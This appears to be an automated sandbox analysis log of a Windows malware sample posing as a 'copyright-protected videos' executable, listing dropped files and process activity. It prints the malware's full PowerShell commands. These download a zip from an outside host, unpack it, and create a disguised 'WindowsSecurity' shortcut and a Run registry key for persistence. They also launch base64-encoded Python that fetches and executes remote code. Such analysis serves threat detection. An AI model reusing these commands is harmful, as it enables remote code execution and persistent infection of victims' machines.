              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_poly1305.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2b.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_modexp.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\pythonservice.exeJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD5.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ocb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aes.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_clmul.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_portable.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ec_ws.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ecb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\servicemanager.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\shell.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_RIPEMD160.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA384.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\scintilla.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\python310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\adsi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\bits.pydJump to dropped file
              Source: C:\Windows\System32\svchost.exe TID: 3728Thread sleep time: -30000s >= -30000s
              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Yara detected Powershell download and execute
              Source: Yara matchFile source: dropped/ConDrv, type: DROPPED
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\chcp.com chcp 65001
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'qkxB9Wn8nG'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'qkxB9Wn8nG.zip'), $dst) "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindxwsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPeth = "$env:LOCALAPPDATA\qkxB9Wn8nG\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo New-Itemmroperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start "" "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [system.io.path]::gettemppath() + 'qkxb9wn8ng.zip') "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $dst = [system.io.path]::combine([system.environment]::getfolderpath('localapplicationdata'), 'qkxb9wn8ng'); add-type -assemblyname system.io.compression.filesystem; if (test-path $dst) { remove-item -recurse -force "$dst\*" } else { new-item -itemtype directory -force $dst } ; [system.io.compression.zipfile]::extracttodirectory([system.io.path]::combine([system.io.path]::gettemppath(), 'qkxb9wn8ng.zip'), $dst) "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo new-itemmroperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'windows security' -propertytype string -value 'c:\windows\explorer.exe c:\users\user\appdata\local\windowssecurity.lnk' -force "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start "" "c:\users\user\appdata\local\qkxb9wn8ng\synaptics.exe" -c "import base64;exec(base64.b64decode('aw1wb3j0ihvybgxpyi5yzxf1zxn0o2ltcg9ydcbiyxnlnjq7zxhlyyhiyxnlnjquyjy0zgvjb2rlkhvybgxpyi5yzxf1zxn0lnvybg9wzw4oj2h0dhbzoi8vdhzkc2vvlmnvbs93cc1jb250zw50l2nhy2hll3dwlxjvy2tldc9bzg9uaxmvqwrvbmlzjykucmvhzcgplmrly29kzsgndxrmltgnkskp'))"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe "c:\users\user\appdata\local\qkxb9wn8ng\synaptics.exe" -c "import base64;exec(base64.b64decode('aw1wb3j0ihvybgxpyi5yzxf1zxn0o2ltcg9ydcbiyxnlnjq7zxhlyyhiyxnlnjquyjy0zgvjb2rlkhvybgxpyi5yzxf1zxn0lnvybg9wzw4oj2h0dhbzoi8vdhzkc2vvlmnvbs93cc1jb250zw50l2nhy2hll3dwlxjvy2tldc9bzg9uaxmvqwrvbmlzjykucmvhzcgplmrly29kzsgndxrmltgnkskp'))"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [system.io.path]::gettemppath() + 'qkxb9wn8ng.zip') "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $dst = [system.io.path]::combine([system.environment]::getfolderpath('localapplicationdata'), 'qkxb9wn8ng'); add-type -assemblyname system.io.compression.filesystem; if (test-path $dst) { remove-item -recurse -force "$dst\*" } else { new-item -itemtype directory -force $dst } ; [system.io.compression.zipfile]::extracttodirectory([system.io.path]::combine([system.io.path]::gettemppath(), 'qkxb9wn8ng.zip'), $dst) "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo new-itemmroperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'windows security' -propertytype string -value 'c:\windows\explorer.exe c:\users\user\appdata\local\windowssecurity.lnk' -force "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start "" "c:\users\user\appdata\local\qkxb9wn8ng\synaptics.exe" -c "import base64;exec(base64.b64decode('aw1wb3j0ihvybgxpyi5yzxf1zxn0o2ltcg9ydcbiyxnlnjq7zxhlyyhiyxnlnjquyjy0zgvjb2rlkhvybgxpyi5yzxf1zxn0lnvybg9wzw4oj2h0dhbzoi8vdhzkc2vvlmnvbs93cc1jb250zw50l2nhy2hll3dwlxjvy2tldc9bzg9uaxmvqwrvbmlzjykucmvhzcgplmrly29kzsgndxrmltgnkskp'))"
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Program Files (x86) VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Program Files (x86) VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Program Files (x86) VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Users\user VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Program Files (x86) VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Users VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Program Files (x86) VolumeInformation
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\__init__.cpython-310.pyc.7301264 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\codecs.cpython-310.pyc.20128504 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\aliases.cpython-310.pyc.7301864 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\utf_8.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\utf_8.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\utf_8.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\utf_8.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\utf_8.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\utf_8.cpython-310.pyc.7371984 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\cp1252.cpython-310.pyc.7371872 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\io.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\io.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\io.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\io.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\io.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\io.cpython-310.pyc.20129752 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\abc.cpython-310.pyc.20217328 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py VolumeInformation
